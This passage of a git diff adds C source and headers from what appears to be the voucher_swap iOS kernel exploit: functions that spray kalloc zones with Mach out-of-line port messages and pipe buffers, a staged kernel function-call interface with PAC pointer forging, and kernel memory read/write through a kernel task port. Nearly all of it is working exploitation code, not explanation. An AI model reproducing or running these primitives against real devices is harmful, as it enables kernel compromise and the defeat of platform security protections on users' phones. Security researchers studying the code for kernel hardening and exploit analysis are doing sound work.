kalloc allocations per message, so let + // the message take up the a full zone element if needed. + size_t max_message_size = message_size_for_kalloc_size(kalloc_zone); + // Since we can send a maximum of max_ool_ports_per_message OOL ports in a single message, + // we always want to send the minimum number of OOL ports in each descriptor (since adding + // more ports in a descriptor only counts against the limit without increasing the number + // of allocations). Thus, use the smallest number of ports that gets us at least + // kalloc_min. + size_t ports_per_ool_ = (kalloc_min + sizeof(uint64_t) - 1) / sizeof(uint64_t); + // How many OOL ports descriptors can we send per message? As many as we'd like, as long + // as: + // 1. we have space for them in the message, and + // 2. we don't blow through the max_ool_ports_per_message limit. + size_t max_ools_by_message_size = + (max_message_size - sizeof(mach_msg_base_t)) + / sizeof(mach_msg_ool_ports_descriptor_t); + size_t max_ools_by_port_limit = max_ool_ports_per_message / ports_per_ool_; + size_t ools_per_message_ = min(max_ools_by_message_size, max_ools_by_port_limit); + // Now that we know how many OOL ports descriptors we can send per message, let's calculate + // the message size. If the message size is too small, we'll just round it up. + size_t message_size_ = sizeof(mach_msg_base_t) + + ools_per_message_ * sizeof(mach_msg_ool_ports_descriptor_t); + assert(kalloc_size_for_message_size(message_size_) <= kalloc_zone); + if (kalloc_size_for_message_size(message_size_) < kalloc_min) { + size_t kalloc_min_rounded = (kalloc_min + 15) & ~15; + message_size_ = (message_size_for_kalloc_size(kalloc_min_rounded) + 3) & ~3; + } + assert(kalloc_min <= kalloc_size_for_message_size(message_size_)); + assert(kalloc_size_for_message_size(message_size_) <= kalloc_zone); + // Return the values. + *message_size = message_size_; + *ools_per_message = ools_per_message_; + *ports_per_ool = ports_per_ool_; +} + +size_t +kalloc_spray_port(mach_port_t holding_port, size_t min_kalloc_size, size_t kalloc_zone, + size_t kalloc_count) { + // First compute the message shape for spraying the specified zone. + size_t message_size, ools_per_message, ports_per_ool; + kalloc_spray_compute_message_shape(min_kalloc_size, kalloc_zone, + &message_size, &ools_per_message, &ports_per_ool); + assert(min_kalloc_size <= kalloc_size_for_message_size(message_size)); + assert(kalloc_size_for_message_size(message_size) <= kalloc_zone); + assert(min_kalloc_size <= ports_per_ool * sizeof(uint64_t)); + assert(ports_per_ool * sizeof(uint64_t) <= kalloc_zone); + assert(sizeof(mach_msg_base_t) + ools_per_message * sizeof(mach_msg_ool_ports_descriptor_t) <= message_size); + // How many allocations does each message we send give us? Well, there's 1 allocation for + // the message and 1 allocation for each OOL ports descriptor. + size_t kallocs_per_message = 1 + ools_per_message; + // How many full/partial messages will we need to spray kalloc_count allocations? If the + // number of full messages is greater than the queue limit, truncate to that many messages. + size_t full_message_count = kalloc_count / kallocs_per_message; + size_t partial_message_kalloc_count = kalloc_count % kallocs_per_message; + if (full_message_count >= MACH_PORT_QLIMIT_MAX) { + full_message_count = MACH_PORT_QLIMIT_MAX; + partial_message_kalloc_count = 0; + } + // Alright, so now we have all the parameters we need. Spray all the full messages to the + // port. + DEBUG_TRACE(2, "%s: %zu full messages, %zu descriptors per message, " + "%zu ports per descriptor, %zu kallocs (%zu bytes) per message", + __func__, full_message_count, ools_per_message, ports_per_ool, + kallocs_per_message, kallocs_per_message * kalloc_zone); + size_t full_messages_sent = ool_ports_spray_port( + holding_port, + NULL, + ports_per_ool, + MACH_MSG_TYPE_MAKE_SEND, + ools_per_message, + message_size, + full_message_count); + size_t full_messages_kallocs = full_messages_sent * kallocs_per_message; + // If we sent all the full messages (indicating no errors were encountered) and we also + // want to send a partial message, send that. + size_t partial_message_kallocs = 0; + if (full_messages_sent == full_message_count && partial_message_kalloc_count > 0) { + size_t partial_message_ools = partial_message_kalloc_count - 1; + size_t partial_messages_sent = ool_ports_spray_port( + holding_port, + NULL, + ports_per_ool, + MACH_MSG_TYPE_MAKE_SEND, + partial_message_ools, + message_size, + 1); + partial_message_kallocs = partial_messages_sent * partial_message_kalloc_count; + } + // Finally, return the total number of kallocs stashed in our port. + assert(full_messages_kallocs + partial_message_kallocs <= kalloc_count); + return full_messages_kallocs + partial_message_kallocs; +} + +size_t +kalloc_spray_size(mach_port_t *holding_ports, size_t *port_count, + size_t min_kalloc_size, size_t kalloc_zone, size_t spray_size) { + size_t kallocs_needed = (spray_size + kalloc_zone - 1) / kalloc_zone; + size_t count = *port_count; + // Spray to each of the ports in turn. + size_t kallocs_left = kallocs_needed; + size_t ports_used = 0; + for (; ports_used < count && kallocs_left > 0; ports_used++) { + size_t kallocs_done = kalloc_spray_port(holding_ports[ports_used], + min_kalloc_size, kalloc_zone, kallocs_left); + assert(kallocs_done <= kallocs_left); + kallocs_left -= kallocs_done; + } + // Compute how many kallocs were actually performed. + size_t kallocs_done = kallocs_needed - kallocs_left; + if (kallocs_left > 0) { + WARNING("failed to spray %zu * kalloc(%zu)", kallocs_left, kalloc_zone); + } + // Return the number of ports actually used and the number of bytes actually sprayed. + *port_count = ports_used; + return kallocs_done * kalloc_zone; +} + +mach_port_t * +create_ports(size_t count) { + mach_port_t *ports = calloc(count, sizeof(*ports)); + assert(ports != NULL); + mach_port_options_t options = {}; + for (size_t i = 0; i < count; i++) { + kern_return_t kr = mach_port_construct(mach_task_self(), &options, 0, &ports[i]); + assert(kr == KERN_SUCCESS); + } + return ports; +} + +void +destroy_ports(mach_port_t *ports, size_t count) { + for (size_t i = 0; i < count; i++) { + mach_port_t port = ports[i]; + if (MACH_PORT_VALID(port)) { + kern_return_t kr = mach_port_destroy(mach_task_self(), port); + if (kr != KERN_SUCCESS) { + ERROR("%s returned %d: %s", "mach_port_destroy", + kr, mach_error_string(kr)); + } + } + ports[i] = MACH_PORT_DEAD; + } +} + +void +deallocate_ports(mach_port_t *ports, size_t count) { + for (size_t i = 0; i < count; i++) { + mach_port_t port = ports[i]; + if (MACH_PORT_VALID(port)) { + kern_return_t kr = mach_port_deallocate(mach_task_self(), port); + if (kr != KERN_SUCCESS) { + ERROR("%s returned %d: %s", "mach_port_deallocate", + kr, mach_error_string(kr)); + } + } + ports[i] = MACH_PORT_DEAD; + } +} + +void +port_increase_queue_limit(mach_port_t port) { + mach_port_limits_t limits = { .mpl_qlimit = MACH_PORT_QLIMIT_MAX }; + kern_return_t kr = mach_port_set_attributes( + mach_task_self(), + port, + MACH_PORT_LIMITS_INFO, + (mach_port_info_t) &limits, + MACH_PORT_LIMITS_INFO_COUNT); + assert(kr == KERN_SUCCESS); +} + +void +port_insert_send_right(mach_port_t port) { + kern_return_t kr = mach_port_insert_right(mach_task_self(), port, port, + MACH_MSG_TYPE_MAKE_SEND); + assert(kr == KERN_SUCCESS); +} + +/* + * ool_ports_spray_size_with_gc_compute_parameters + * + * Description: + * Compute the spray parameters for ool_ports_spray_size_with_gc(). + */ +static void +ool_ports_spray_size_with_gc_compute_parameters( + size_t ports_per_ool, size_t message_size, size_t spray_size, + size_t *ool_size, size_t *ools_per_message, size_t *ools_needed) { + // Each message will contain no more than gc_step bytes of OOL ports. + const size_t max_ool_memory_per_message = gc_step; + // How many OOL ports descriptors can we send per message? As many as we'd like, as long + // as: + // 1. we aren't sending more than gc_step bytes of OOL ports in a message, + // 2. we have space for them in the message, and + // 3. we don't blow through the max_ool_ports_per_message limit. + size_t ool_size_ = ports_per_ool * sizeof(uint64_t); + size_t max_ools_by_memory = max_ool_memory_per_message / ool_size_; + size_t max_ools_by_message_size = + (message_size - sizeof(mach_msg_base_t)) + / sizeof(mach_msg_ool_ports_descriptor_t); + size_t max_ools_by_port_limit = max_ool_ports_per_message / ports_per_ool; + size_t ools_per_message_ = min(max_ools_by_memory, + min(max_ools_by_message_size, max_ools_by_port_limit)); + // How many OOL port descriptors will we need to spray? Enough to fill all the requested + // memory. + size_t ools_needed_ = (spray_size + ool_size_ - 1) / ool_size_; + // Return the parameters. + *ool_size = ool_size_; + *ools_per_message = ools_per_message_; + *ools_needed = ools_needed_; +} + +size_t +ool_ports_spray_size_with_gc(mach_port_t *holding_ports, size_t *holding_port_count, + size_t message_size, const mach_port_t *ool_ports, size_t ool_port_count, + mach_msg_type_name_t ool_disposition, size_t spray_size) { + // Compute the parameters for the spray. + size_t ool_size, ools_per_message, ools_needed; + ool_ports_spray_size_with_gc_compute_parameters(ool_port_count, message_size, spray_size, + &ool_size, &ools_per_message, &ools_needed); + // Spray to each of the ports in turn until we've created the requisite number of OOL ports + // allocations. + ssize_t ools_left = ools_needed; + size_t sprayed = 0; + size_t next_gc_step = 0; + size_t port_count = *holding_port_count; + size_t ports_used = 0; + for (; ports_used < port_count && ools_left > 0; ports_used++) { + // Spray this port one message at a time until we've maxed out its queue. + size_t messages_sent = 0; + for (; messages_sent < (kCFCoreFoundationVersionNumber >= 1535.12 ? MACH_PORT_QLIMIT_MAX : MACH_PORT_QLIMIT_DEFAULT) && ools_left > 0; messages_sent++) { + // If we've crossed the GC sleep boundary, sleep for a bit and schedule the + // next one. + if (sprayed >= next_gc_step) { + next_gc_step += gc_step; + pthread_yield_np(); + usleep(10000); + fprintf(stderr, "."); + } + // Send a message. + size_t sent = ool_ports_spray_port( + holding_ports[ports_used], + ool_ports, + ool_port_count, + ool_disposition, + ools_per_message, + message_size, + 1); + // If we couldn't send a message to this port, stop trying to send more + // messages and move on to the next port. + if (sent != 1) { + assert(sent == 0); + break; + } + // We sent a full message worth of OOL port descriptors. + sprayed += ools_per_message * ool_size; + ools_left -= ools_per_message; + } + } + fprintf(stderr, "\n"); + // Return the number of ports actually used and the number of bytes actually sprayed. + *holding_port_count = ports_used; + return sprayed; +} + +void +port_drain_messages(mach_port_t port, void (^message_handler)(mach_msg_header_t *)) { + kern_return_t kr; + mach_msg_option_t options = MACH_RCV_MSG | MACH_RCV_LARGE | MACH_RCV_TIMEOUT + | MACH_RCV_TRAILER_TYPE(MACH_MSG_TRAILER_FORMAT_0) + | MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_NULL); + // Allocate an initial message buffer. + mach_msg_size_t msg_size = 0x4000; + mach_msg_base_t *msg = malloc(msg_size); + assert(msg != NULL); + // Loop through all the messages queued on the port. + for (;;) { + // Try to receive the message. If the buffer isn't big enough, reallocate + // and try again. This should only happen twice. + for (size_t try = 0;; try++) { + assert(try < 2); + // Receive the message. + kr = mach_msg( + &msg->header, + options, + 0, + msg_size, + port, + 0, + MACH_PORT_NULL); + if (kr != MACH_RCV_LARGE) { + break; + } + // The buffer was too small, increase it. + msg_size = msg->header.msgh_size + REQUESTED_TRAILER_SIZE(options); + free(msg); + msg = malloc(msg_size); + assert(msg != NULL); + } + // If we got an error, stop processing messages on this port. If the error is a + // timeout, that means that we've exhausted the queue, so don't print an error + // message. + if (kr != KERN_SUCCESS) { + if (kr != MACH_RCV_TIMED_OUT) { + ERROR("%s returned %d: %s", "mach_msg", kr, mach_error_string(kr)); + } + break; + } + // Pass the message to the message handler. + message_handler(&msg->header); + } + // Clean up resources. + free(msg); +} + +void +port_discard_messages(mach_port_t port) { + port_drain_messages(port, ^(mach_msg_header_t *header) { + mach_msg_destroy(header); + }); +} + +void +ool_ports_spray_receive(mach_port_t *holding_ports, size_t holding_port_count, + void (^ool_ports_handler)(mach_port_t *, size_t)) { + // Loop through all the ports. + for (size_t port_index = 0; port_index < holding_port_count; port_index++) { + // Handle each message on the port. + port_drain_messages(holding_ports[port_index], ^(mach_msg_header_t *msg0) { + struct ool_ports_msg *msg = (struct ool_ports_msg *)msg0; + // We've successfully received a message. Make sure it's the type we + // expect. + if (msg->header.msgh_id != 'ools') { + WARNING("received unexpected message id 0x%x", + msg->header.msgh_id); + goto done; + } + if (!MACH_MSGH_BITS_IS_COMPLEX(msg->header.msgh_bits)) { + WARNING("skipping non-complex message"); + goto done; + } + // Go through the descriptors one at a time passing them to the handler + // block. + mach_msg_descriptor_t *d = (mach_msg_descriptor_t *)&msg->ool_ports[0]; + for (size_t i = 0; i < msg->body.msgh_descriptor_count; i++) { + void *next; + switch (d->type.type) { + case MACH_MSG_OOL_PORTS_DESCRIPTOR: + next = &d->ool_ports + 1; + mach_port_t *ports = (mach_port_t *) + d->ool_ports.address; + size_t count = d->ool_ports.count; + ool_ports_handler(ports, count); + break; + default: + WARNING("unexpected descriptor type %u", + d->type.type); + goto done; + } + d = (mach_msg_descriptor_t *)next; + } +done: + // Discard the message. + mach_msg_destroy(&msg->header); + }); + } +} + +void +increase_file_limit() { + struct rlimit rl = {}; + int error = getrlimit(RLIMIT_NOFILE, &rl); + assert(error == 0); + rl.rlim_cur = 10240; + rl.rlim_max = rl.rlim_cur; + error = setrlimit(RLIMIT_NOFILE, &rl); + if (error != 0) { + ERROR("could not increase file limit"); + } + error = getrlimit(RLIMIT_NOFILE, &rl); + assert(error == 0); + if (rl.rlim_cur != 10240) { + ERROR("file limit is %llu", rl.rlim_cur); + } +} + +void +pipe_close(int pipefds[2]) { + close(pipefds[0]); + close(pipefds[1]); +} + +/* + * set_nonblock + * + * Description: + * Set the O_NONBLOCK flag on the specified file descriptor. + */ +static void +set_nonblock(int fd) { + int flags = fcntl(fd, F_GETFL); + flags |= O_NONBLOCK; + fcntl(fd, F_SETFL, flags); +} + +int * +create_pipes(size_t *pipe_count) { + // Allocate our initial array. + size_t capacity = *pipe_count; + int *pipefds = calloc(2 * capacity, sizeof(int)); + assert(pipefds != NULL); + // Create as many pipes as we can. + size_t count = 0; + for (; count < capacity; count++) { + // First create our pipe fds. + int fds[2] = { -1, -1 }; + int error = pipe(fds); + // Unfortunately pipe() seems to return success with invalid fds once we've + // exhausted the file limit. Check for this. + if (error != 0 || fds[0] < 0 || fds[1] < 0) { + pipe_close(fds); + break; + } + // Mark the write-end as nonblocking. + set_nonblock(fds[1]); + // Store the fds. + pipefds[2 * count + 0] = fds[0]; + pipefds[2 * count + 1] = fds[1]; + } + // Truncate the array to the smaller size. + int *new_pipefds = realloc(pipefds, 2 * count * sizeof(int)); + assert(new_pipefds != NULL); + // Return the count and the array. + *pipe_count = count; + return new_pipefds; +} + +void +close_pipes(int *pipefds, size_t pipe_count) { + for (size_t i = 0; i < pipe_count; i++) { + pipe_close(pipefds + 2 * i); + } +} + +size_t +pipe_spray(const int *pipefds, size_t pipe_count, + void *pipe_buffer, size_t pipe_buffer_size, + void (^update)(uint32_t pipe_index, void *data, size_t size)) { + assert(pipe_count <= 0xffffff); + assert(pipe_buffer_size > 512); + size_t write_size = pipe_buffer_size - 1; + size_t pipes_filled = 0; + for (size_t i = 0; i < pipe_count; i++) { + // Update the buffer. + if (update != NULL) { + update((uint32_t)i, pipe_buffer, pipe_buffer_size); + } + // Fill the write-end of the pipe with the buffer. Leave off the last byte. + int wfd = pipefds[2 * i + 1]; + ssize_t written = write(wfd, pipe_buffer, write_size); + if (written != write_size) { + // This is most likely because we've run out of pipe buffer memory. None of + // the subsequent writes will work either. + break; + } + pipes_filled++; + } + return pipes_filled; +} diff --git a/kernel_call/kernel_alloc.h b/kernel_call/kernel_alloc.h new file mode 100755 index 0000000..1c253db --- /dev/null +++ b/kernel_call/kernel_alloc.h @@ -0,0 +1,291 @@ +/* + * kernel_alloc.h + * Brandon Azad + */ +#ifndef VOUCHER_SWAP__KERNEL_ALLOC_H_ +#define VOUCHER_SWAP__KERNEL_ALLOC_H_ + +#include +#include + +/* + * message_size_for_kalloc_size + * + * Description: + * Return the Mach message size needed for the ipc_kmsg to be allocated from the specified + * kalloc zone. This is exactly correct when kalloc_size is a multiple of 16, otherwise it + * could be slightly small. + */ +size_t message_size_for_kalloc_size(size_t kalloc_size); + +/* + * kalloc_size_for_message_size + * + * Description: + * Return the kalloc allocation size corresponding to sending a message of the specified size. + * + * This is only correct for messages large enough that the ipc_kmsg struct is allocated with + * kalloc(). + */ +size_t kalloc_size_for_message_size(size_t message_size); + +/* + * ipc_kmsg_size_for_message_size + * + * Description: + * Return the allocation size of the ipc_kmsg for the given message size. + */ +size_t ipc_kmsg_size_for_message_size(size_t message_size); + +/* + * ool_ports_spray_port + * + * Description: + * Spray the given Mach port with Mach messages that contain out-of-line ports descriptors + * with the given ports. The goal is to spray the target kalloc zone with many copies of a + * particular array of OOL ports. + * + * Make sure that the port's queue limits are sufficient to hold the specified number of + * messages. + * + * Unfortunately, we cannot avoid the creation of ipc_kmsg objects to hold the messages + * enqueued on the port. You should ensure that the appropriate kalloc zone's freelist has + * sufficiently many intermediates to ensure that ipc_kmsg allocation does not interfere with + * the OOL ports spray. + * + * There are limits on the number of OOL ports that can be sent in a message, the number of + * descriptors in a message, and the number of messages that can be queued on a port. Be sure + * that the parameters you supply are valid, since this function does not check whether or not + * the kernel will let your message through (or even whether they make sense). + * + * Parameters: + * holding_port The port on which to enqueue the Mach messages. + * ool_ports The OOL Mach ports to spray. + * port_count The number of OOL Mach ports. + * ool_disposition The disposition to send the OOL ports. + * ool_count The number of OOL ports descriptors to send per message. + * message_size The size of each message. + * message_count The number of messages to enqueue on the holding port. + * + * Returns: + * Returns the number of messages that were successfully sent. + */ +size_t ool_ports_spray_port(mach_port_t holding_port, + const mach_port_t *ool_ports, size_t port_count, + mach_msg_type_name_t ool_disposition, size_t ool_count, + size_t message_size, size_t message_count); + +/* + * kalloc_spray_port + * + * Description: + * Spray the specified kalloc_zone with at least kalloc_count allocations by sending Mach + * messages containing OOL ports to the specified holding port. Returns the number of kalloc + * allocations that were actually performed. + * + * The point of this function is to quickly make as many kalloc allocations in the target zone + * as possible using the specified holding port. The way we do this is by sending messages + * with many OOL ports descriptors (consisting of empty ports) such that both the ipc_kmsg + * struct for the message and the OOL port arrays fall into the target kalloc zone. We will + * continue sending messages to the port until either we've created the required number of + * allocations or we've filled up the port's message queue. + * + * To free the allocations, call mach_port_destroy() on the holding port. Note that this will + * also free the holding port if there are no other references. + * + * Parameters: + * holding_port The port on which to enqueue the Mach messages. + * min_kalloc_size The minimum sized allocation that is handled by this zone. + * kalloc_zone The kalloc zone in which to spray allocations. + * kalloc_count The desired number of allocations to make. + * + * Returns: + * Returns the number of kalloc allocations actually made, which may be less than the number + * requested if the port fills up or if an error is encountered. + */ +size_t kalloc_spray_port(mach_port_t holding_port, size_t min_kalloc_size, size_t kalloc_zone, + size_t kalloc_count); + +/* + * kalloc_spray_size + * + * Description: + * Spray the specified kalloc_zone with spray_size bytes of allocations by sending Mach + * messages containing OOL ports to the given holding ports. + * + * See kalloc_spray_port(). + * + * To free the allocations, call destroy_ports() on the holding ports. Note that + * destroy_ports() will also free the holding ports themselves if there are no other + * references. + * + * Parameters: + * holding_ports The array of holding ports. + * port_count inout On entry, the number of holding ports available. On exit, + * the number of holding ports used. + * min_kalloc_size The minimum sized allocation that is handled by this zone. + * kalloc_zone The kalloc zone in which to spray allocations. + * spray_size The number of bytes to try and spray to the target zone. + * + * Returns: + * Returns the number of bytes actually sprayed to the kalloc zone. This could be less than + * the requested size if an error is encountered or more than the requested size if the spray + * size was not an even multiple of the zone size. + */ +size_t kalloc_spray_size(mach_port_t *holding_ports, size_t *port_count, + size_t min_kalloc_size, size_t kalloc_zone, size_t spray_size); + +/* + * ool_ports_spray_size_with_gc + * + * Description: + * Spray spray_size bytes of kernel memory with the specified out-of-line ports. + * + * Parameters: + * holding_ports The array of holding ports. + * holding_port_count inout On entry, the number of holding ports available. On exit, + * the number of holding ports used. + * message_size The size of each message to send. This parameter should be + * chosen carefully, as allocations will be taken out of the + * corresponding kalloc zone. + * ool_ports The OOL Mach ports to spray. + * ool_port_count The number of OOL Mach ports. + * ool_disposition The disposition to send the OOL ports. + * spray_size The number of bytes of OOL ports to try and spray. + * + * Returns: + * Returns the number of bytes of OOL ports actually sprayed. + */ +size_t ool_ports_spray_size_with_gc(mach_port_t *holding_ports, size_t *holding_port_count, + size_t message_size, const mach_port_t *ool_ports, size_t ool_port_count, + mach_msg_type_name_t ool_disposition, size_t spray_size); + +/* + * create_ports + * + * Description: + * Create an array of Mach ports. The Mach ports are receive rights only. Once the array is no + * longer needed, deallocate it with free(). + */ +mach_port_t *create_ports(size_t count); + +/* + * destroy_ports + * + * Description: + * Destroys the specified Mach ports and sets them to MACH_PORT_DEAD. + */ +void destroy_ports(mach_port_t *ports, size_t count); + +/* + * deallocate_ports + * + * Description: + * Deallocates the specified Mach ports and sets them to MACH_PORT_DEAD. + */ +void deallocate_ports(mach_port_t *ports, size_t count); + +/* + * port_increase_queue_limit + * + * Description: + * Increase the queue limit on the specified Mach port to MACH_PORT_QLIMIT_MAX. + */ +void port_increase_queue_limit(mach_port_t port); + +/* + * port_insert_send_right + * + * Description: + * Insert a send right on the specified port, which must name a receive right. + */ +void port_insert_send_right(mach_port_t port); + +/* + * port_drain_messages + * + * Description: + * Drain all the messages currently queued on the specified port. The messages are passed to + * the message_handler block, which is responsible for processing the messages and freeing any + * associated resources (e.g. with mach_msg_destroy()). + */ +void port_drain_messages(mach_port_t port, void (^message_handler)(mach_msg_header_t *)); + +/* + * port_discard_messages + * + * Description: + * Discard all the messages currently queued on the specified port. The messages are received + * and passed directly to mach_msg_destroy(). + */ +void port_discard_messages(mach_port_t port); + +/* + * ool_ports_spray_receive + * + * Description: + * Receive all the messages queued on the holding ports and pass the OOL ports descriptors to + * the specified handler block. The messages are destroyed after they are processed. + */ +void ool_ports_spray_receive(mach_port_t *holding_ports, size_t holding_port_count, + void (^ool_ports_handler)(mach_port_t *, size_t)); + +/* + * increase_file_limit + * + * Description: + * Increase our process's limit on the number of open files. + */ +void increase_file_limit(void); + +/* + * pipe_close + * + * Description: + * Close the file descriptors of a pipe. + */ +void pipe_close(int pipefds[2]); + +/* + * create_pipes + * + * Description: + * Create a spray of pipes. On entry, pipe_count specifies the requested number of pipes, and + * on return it contains the number of pipes actually created. + * + * The pipes are returned as an array of file descriptors. + */ +int *create_pipes(size_t *pipe_count); + +/* + * close_pipes + * + * Description: + * Close the pipes in an array. + */ +void close_pipes(int *pipefds, size_t pipe_count); + +/* + * pipe_spray + * + * Description: + * Spray data to the pipes. Note that XNU limits the collective size of all pipe buffers to + * 16 MB, so that's the maximum we'll be able to spray. + * + * Note that the last byte of the sprayed data won't be written to memory! + * + * Parameters: + * pipefds The pipe file descriptors. + * pipe_count The number of pipe fd pairs. + * pipe_buffer The data to spray. + * pipe_buffer_size The size of the data to spray. + * update A callback to modify the data on each iteration. + * + * Returns: + * Returns the number of pipes actually filled. + */ +size_t pipe_spray(const int *pipefds, size_t pipe_count, + void *pipe_buffer, size_t pipe_buffer_size, + void (^update)(uint32_t pipe_index, void *data, size_t size)); + +#endif diff --git a/kernel_call/kernel_call.c b/kernel_call/kernel_call.c new file mode 100755 index 0000000..f3bfad5 --- /dev/null +++ b/kernel_call/kernel_call.c @@ -0,0 +1,44 @@ +/* + * kernel_call.c + * Brandon Azad + */ +#include "kernel_call.h" + +#include + +#include "pac.h" +#include "user_client.h" +#include "log.h" + +// ---- Public API -------------------------------------------------------------------------------- + +bool +kernel_call_init() { + bool ok = stage1_kernel_call_init() + && stage2_kernel_call_init() + && stage3_kernel_call_init(); + if (!ok) { + kernel_call_deinit(); + } + return ok; +} + +void +kernel_call_deinit() { + stage3_kernel_call_deinit(); + stage2_kernel_call_deinit(); + stage1_kernel_call_deinit(); +} + +uint32_t +kernel_call_7(uint64_t function, size_t argument_count, ...) { + assert(argument_count <= 7); + uint64_t arguments[7]; + va_list ap; + va_start(ap, argument_count); + for (size_t i = 0; i < argument_count && i < 7; i++) { + arguments[i] = va_arg(ap, uint64_t); + } + va_end(ap); + return kernel_call_7v(function, argument_count, arguments); +} diff --git a/kernel_call/kernel_call.h b/kernel_call/kernel_call.h new file mode 100755 index 0000000..5199fdc --- /dev/null +++ b/kernel_call/kernel_call.h @@ -0,0 +1,93 @@ +/* + * kernel_call.h + * Brandon Azad + */ +#ifndef VOUCHER_SWAP__KERNEL_CALL_H_ +#define VOUCHER_SWAP__KERNEL_CALL_H_ + +#include +#include +#include + +/* + * kernel_call_init + * + * Description: + * Initialize kernel_call functions. + */ +bool kernel_call_init(void); + +/* + * kernel_call_deinit + * + * Description: + * Deinitialize the kernel call subsystem and restore the kernel to a safe state. + */ +void kernel_call_deinit(void); + +/* + * kernel_call_7 + * + * Description: + * Call a kernel function with the specified arguments. + * + * Restrictions: + * See kernel_call_7v(). + */ +uint32_t kernel_call_7(uint64_t function, size_t argument_count, ...); + +/* + * kernel_call_7v + * + * Description: + * Call a kernel function with the specified arguments. + * + * Restrictions: + * At most 7 arguments can be passed. + * arguments[0] must be nonzero. + * The return value is truncated to 32 bits. + */ +uint32_t kernel_call_7v(uint64_t function, size_t argument_count, const uint64_t arguments[]); + +/* + * kernel_forge_pacia + * + * Description: + * Forge a PACIA pointer using the kernel forging gadget. + */ +uint64_t kernel_forge_pacia(uint64_t pointer, uint64_t context); + +/* + * kernel_forge_pacia_with_type + * + * Description: + * Forge a PACIA pointer using the specified address, with the upper 16 bits replaced by the + * type code, as context. + */ +uint64_t kernel_forge_pacia_with_type(uint64_t pointer, uint64_t address, uint16_t type); + +/* + * kernel_forge_pacda + * + * Description: + * Forge a PACDA pointer using the kernel forging gadget. + */ +uint64_t kernel_forge_pacda(uint64_t pointer, uint64_t context); + +/* + * kernel_xpaci + * + * Description: + * Strip a PACIx code from a kernel pointer. + */ +uint64_t kernel_xpaci(uint64_t pointer); + +/* + * kernel_xpacd + * + * Description: + * Strip a PACDx code from a kernel pointer. + */ +uint64_t kernel_xpacd(uint64_t pointer); + +#endif diff --git a/kernel_call/kernel_memory.c b/kernel_call/kernel_memory.c new file mode 100755 index 0000000..fba81b8 --- /dev/null +++ b/kernel_call/kernel_memory.c @@ -0,0 +1,129 @@ +/* + * kernel_memory.c + * Brandon Azad + */ +#define KERNEL_MEMORY_EXTERN +#include "kernel_memory.h" + +#include "log.h" +#include "mach_vm.h" +#include "parameters.h" + +// ---- Kernel memory functions ------------------------------------------------------------------- + +bool +kernel_read(uint64_t address, void *data, size_t size) { + mach_vm_size_t size_out; + kern_return_t kr = mach_vm_read_overwrite(kernel_task_port, address, + size, (mach_vm_address_t) data, &size_out); + if (kr != KERN_SUCCESS) { + ERROR("%s returned %d: %s", "mach_vm_read_overwrite", kr, mach_error_string(kr)); + ERROR("could not %s address 0x%016llx", "read", address); + return false; + } + if (size_out != size) { + ERROR("partial read of address 0x%016llx: %llu of %zu bytes", + address, size_out, size); + return false; + } + return true; +} + +bool +kernel_write(uint64_t address, const void *data, size_t size) { + kern_return_t kr = mach_vm_write(kernel_task_port, address, + (mach_vm_address_t) data, (mach_msg_size_t) size); + if (kr != KERN_SUCCESS) { + ERROR("%s returned %d: %s", "mach_vm_write", kr, mach_error_string(kr)); + ERROR("could not %s address 0x%016llx", "write", address); + return false; + } + return true; +} + +uint8_t +kernel_read8(uint64_t address) { + uint8_t value; + bool ok = kernel_read(address, &value, sizeof(value)); + if (!ok) { + return -1; + } + return value; +} + +uint16_t +kernel_read16(uint64_t address) { + uint16_t value; + bool ok = kernel_read(address, &value, sizeof(value)); + if (!ok) { + return -1; + } + return value; +} + +uint32_t +kernel_read32(uint64_t address) { + uint32_t value; + bool ok = kernel_read(address, &value, sizeof(value)); + if (!ok) { + return -1; + } + return value; +} + +uint64_t +kernel_read64(uint64_t address) { + uint64_t value; + bool ok = kernel_read(address, &value, sizeof(value)); + if (!ok) { + return -1; + } + return value; +} + +bool +kernel_write8(uint64_t address, uint8_t value) { + return kernel_write(address, &value, sizeof(value)); +} + +bool +kernel_write16(uint64_t address, uint16_t value) { + return kernel_write(address, &value, sizeof(value)); +} + +bool +kernel_write32(uint64_t address, uint32_t value) { + return kernel_write(address, &value, sizeof(value)); +} + +bool +kernel_write64(uint64_t address, uint64_t value) { + return kernel_write(address, &value, sizeof(value)); +} + +// ---- Kernel utility functions ------------------------------------------------------------------ + +bool +kernel_ipc_port_lookup(uint64_t task, mach_port_name_t port_name, + uint64_t *ipc_port, uint64_t *ipc_entry) { + // Get the task's ipc_space. + uint64_t itk_space = kernel_read64(task + OFFSET(task, itk_space)); + // Get the size of the table. + uint32_t is_table_size = kernel_read32(itk_space + OFFSET(ipc_space, is_table_size)); + // Get the index of the port and check that it is in-bounds. + uint32_t port_index = MACH_PORT_INDEX(port_name); + if (port_index >= is_table_size) { + return false; + } + // Get the space's is_table and compute the address of this port's entry. + uint64_t is_table = kernel_read64(itk_space + OFFSET(ipc_space, is_table)); + uint64_t entry = is_table + port_index * SIZE(ipc_entry); + if (ipc_entry != NULL) { + *ipc_entry = entry; + } + // Get the address of the port if requested. + if (ipc_port != NULL) { + *ipc_port = kernel_read64(entry + OFFSET(ipc_entry, ie_object)); + } + return true; +} diff --git a/kernel_call/kernel_memory.h b/kernel_call/kernel_memory.h new file mode 100755 index 0000000..6486b4e --- /dev/null +++ b/kernel_call/kernel_memory.h @@ -0,0 +1,132 @@ +/* + * kernel_memory.h + * Brandon Azad + */ +#ifndef VOUCHER_SWAP__KERNEL_MEMORY_H_ +#define VOUCHER_SWAP__KERNEL_MEMORY_H_ + +#include +#include +#include +#include + +#ifdef KERNEL_MEMORY_EXTERN +#define extern KERNEL_MEMORY_EXTERN +#endif + +/* + * kernel_task_port + * + * Description: + * The kernel task port. + */ +extern mach_port_t kernel_task_port; + +/* + * kernel_task + * + * Description: + * The address of the kernel_task in kernel memory. + */ +extern uint64_t kernel_task; + +/* + * current_task + * + * Description: + * The address of the current task in kernel memory. + */ +extern uint64_t current_task; + +/* + * kernel_read + * + * Description: + * Read data from kernel memory. + */ +bool kernel_read(uint64_t address, void *data, size_t size); + +/* + * kernel_write + * + * Description: + * Write data to kernel memory. + */ +bool kernel_write(uint64_t address, const void *data, size_t size); + +/* + * kernel_read8 + * + * Description: + * Read a single byte from kernel memory. If the read fails, -1 is returned. + */ +uint8_t kernel_read8(uint64_t address); + +/* + * kernel_read16 + * + * Description: + * Read a 16-bit value from kernel memory. If the read fails, -1 is returned. + */ +uint16_t kernel_read16(uint64_t address); + +/* + * kernel_read32 + * + * Description: + * Read a 